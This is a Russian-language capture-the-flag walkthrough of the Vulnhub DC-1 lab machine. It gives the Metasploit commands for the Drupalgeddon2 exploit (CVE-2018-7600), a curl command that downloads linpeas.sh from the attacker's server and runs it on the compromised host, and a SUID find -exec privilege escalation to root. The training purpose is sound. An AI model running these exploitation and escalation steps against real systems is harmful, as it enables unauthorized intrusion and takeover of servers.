Сегодня у нас на обзоре занимательная машинка от Vulnhub: DC-1 от автора DCAU. По ощущениям предназначена для уровня Beginner/Intermediate, хотя сам автор сложность не указал. Машина отличается нестандартными флагами — всего их раскидано пять, хотя интересен лишь один рут‑флаг, остальные — просто подсказки на пути к нему. Для классификации моих действий будем использовать матрицу MITRE ATT&CK — в конце статьи вас ждет полный KillChain по митре.

Не стану детально расписывать подготовку и настройку сборки в VirtualBox, ибо для каждой машины этот процесс в целом одинаковый, перейдем сразу к самому вкусному

T1595 — Разведка

Итак, разминаем шаловливые пальчики, наливаем чаёк и погнали
Первым делом проводим разведку, узнаем какие порты у нас открыты, что на них интересного висит, как мы можем с этим повзаимодействовать.

nmap -A -sV 192.168.56.105

Из интересного видим открытый порт rcpbind, но не думаю, что в машинках начального уровня на нём будет завязан киллчейн:

  • 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)

  • 80/tcp open http Apache httpd 2.2.22 ((Debian))

  • 111/tcp open rpcbind 2-4 (RPC #100000)

Переходим на веб-морду и смотрим, что там лежит.

немного Drupal 7 вам в ленту
немного Drupal 7 вам в ленту

Кнопочка регистрации присутствует - надо тыкнуть

Ну ладно, не очень то и хотелось
Ну ладно, не очень то и хотелось

Увы, админ не дает нам аппрув на учетку в силу своего отсутствия. В таком случае продолжаем ковырять — смотрим базовые интересные директории и сканим на уязвимости морду.

/robots.txt дал нам очень много бесполезной информации — базовые директории с файлами настройки и установки, половина которых кидают нам 403.

/admin директория:
/admin директория:

Drupal 7 как бы намекает нам на то, что стоит поискать CVE, а минутный гуглинг дает нам огромную базу уязвимостей и чешуйчатый опенсорс инструмент DScanner. Работаем!

python3 DScanner.py #Ну вдруг кто не знает как запускать питоновские скрипты)

 |   \/ __| __ __ _ _ _  _ _  ___ _ _  / | /  \ 
 | |) \__ \/ _/ _` | ' \| ' \/ -_) '_| | || () |
 |___/|___/\__\__,_|_||_|_||_\___|_|   |_(_)__/ 
Больше похоже на решето, чем на CMS
Больше похоже на решето, чем на CMS

А вот и самое вкусное, что мы видим:

Уязвимость RCE‑типа под кодом CVE-2018-7600 и с невероятно эпичным названием Drupalgeddon 2 — позволяет выполнять произвольный код из‑за небезопасной обработки render array в Drupal Form API.
Пора войти в систему, товарищи.

T1190 - Первичный доступ

Примерно так ощущается каждый запуск Metasploit
Примерно так ощущается каждый запуск Metasploit

Для эксплуатации CVE-2018-7600 мы будем использовать Metasploit — фреймворк с экплоитами для всего что движется и не движется. Примерно так будет выглядеть настройка:

msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.56.105
msf exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.56.1
msf exploit(unix/webapp/drupal_drupalgeddon2) > set targeturi /user/register
msf exploit(unix/webapp/drupal_drupalgeddon2) > run
Своевременно обновляйте систему, господа
Своевременно обновляйте систему, господа

Вот мы и на месте. Давайте глянем первый флаг, может там что-то интересное.

ls
cat flag1.txt
  • Every good CMS needs a config file - and so do you.

Да, спасибо, я знаю.
Погнали повышать свои социальные привилегии — мы же не хотим родиться www‑data, прожить всю жизнь и так и не стать root?

T1548.001 Эскалация привилегий

Пришло время добраться до финального рут‑флага. Для разведки мы используем LinPeas — сканер интересных файлов и конфигураций, позволяющих повысить свои права в системе, параллельно добавив в киллчейн технику T1105 — передача инструментов из внешней сети на скомпрометированную машину.

# На своей машине
cd tools/
python3 -m http.server 8080

# На скомпрометированном сервере
cd /tmp/
curl http://192.168.56.1:8080/linpeas.sh > linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Фильтруем внимательным глазным фильтром полотно линписа и видим вкусняшку:

Это мы, конечно, тоже видим, но я же не это хотел показать
Это мы, конечно, тоже видим, но я же не это хотел показать
Вот это другое дело
Вот это другое дело

Утилита find запускается с рут‑правами и это прекрасно, так как мы можем использовать ее не только для чтения файлов.
Ищем эксплоиты на нее с помощью https://gtfobins.org/gtfobins/find/, глядим что у нас в папке /root и получаем последний флаг.

find /root
find /root/thefinalflag.txt -exec cat {} \;
  • Well done!!!

    Hopefully you’ve enjoyed this and learned some new skills.

    You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

Заключение

Машинка классная для начального уровня — дает базовые навыки гуглинга, поиска CVE, эксплоитов под них и применения на практике, так же учит работать с SUID и использовать их возможности. Из недостатков — довольно скучный киллчейн из одной CVE и SUID команды, все довольно прямо и топорно. К тому же автор видимо не в курсе формата флагов, но спишем все на то, что это его первая машина.
Как и обещал, полный киллчейн машины:

Reconnaissance
├── T1595       Active Scanning (Nmap)
├── T1594       Search Victim-Owned Websites
└── T1595.002   Vulnerability Scanning (DScanner)

Initial Access
└── T1190       Exploit Public-Facing Application

Command Execution
└── T1059.004   Unix Shell

Command and Control
└── T1105       Ingress Tool Transfer

Privilege Escalation
└── T1548.001   Setuid and Setgid